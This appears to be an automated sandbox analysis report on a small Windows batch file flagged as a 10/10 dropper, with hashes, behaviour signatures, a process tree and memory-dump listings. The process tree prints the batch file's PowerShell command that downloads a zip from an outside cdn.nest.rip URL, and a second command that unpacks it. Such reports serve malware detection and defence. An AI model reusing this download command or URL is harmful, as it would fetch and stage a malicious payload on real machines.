1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1561s
max time network
1571s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

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General

Target

tesy - Copy (4).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2932	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2932	powershell.exe
2076	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 2932	1740	cmd.exe	29
PID 1740 wrote to memory of 2932	1740	cmd.exe	29
PID 1740 wrote to memory of 2932	1740	cmd.exe	29
PID 1740 wrote to memory of 2076	1740	cmd.exe	30
PID 1740 wrote to memory of 2076	1740	cmd.exe	30
PID 1740 wrote to memory of 2076	1740	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2076

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0de360a55f28779715208a0ba692afcf

SHA1
28a8375a7ec675609a4f983fe5dde29c0b7baed2

SHA256
6142dbcbfd4685c8a95aa8474211ce8d2756e45f7dc6acdb39da2ffc8d45efab

SHA512
4d6322d9541d44c2fc29825a3ea3013afd66c8a65292fb8289c9e82a3008c100e5c8a62b1e84446bab5989b1c8bdafd208797ef3e28cfa94333052a99348d2c4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZIZHK6MA05JKXFRDVRSB.temp

Filesize
7KB

MD5
0de360a55f28779715208a0ba692afcf

SHA1
28a8375a7ec675609a4f983fe5dde29c0b7baed2

SHA256
6142dbcbfd4685c8a95aa8474211ce8d2756e45f7dc6acdb39da2ffc8d45efab

SHA512
4d6322d9541d44c2fc29825a3ea3013afd66c8a65292fb8289c9e82a3008c100e5c8a62b1e84446bab5989b1c8bdafd208797ef3e28cfa94333052a99348d2c4

Download Submit
memory/2076-31-0x000007FEF4CA0000-0x000007FEF563D000-memory.dmp

Filesize
9.6MB

Download
memory/2076-30-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2076-29-0x000007FEF4CA0000-0x000007FEF563D000-memory.dmp

Filesize
9.6MB

Download
memory/2076-28-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2076-27-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2076-26-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2076-24-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2076-25-0x000007FEF4CA0000-0x000007FEF563D000-memory.dmp

Filesize
9.6MB

Download
memory/2076-23-0x000000001B3B0000-0x000000001B692000-memory.dmp

Filesize
2.9MB

Download
memory/2932-10-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2932-17-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2932-15-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2932-14-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2932-13-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2932-12-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2932-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2932-4-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/2932-9-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2932-8-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2932-7-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2932-6-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2932-5-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download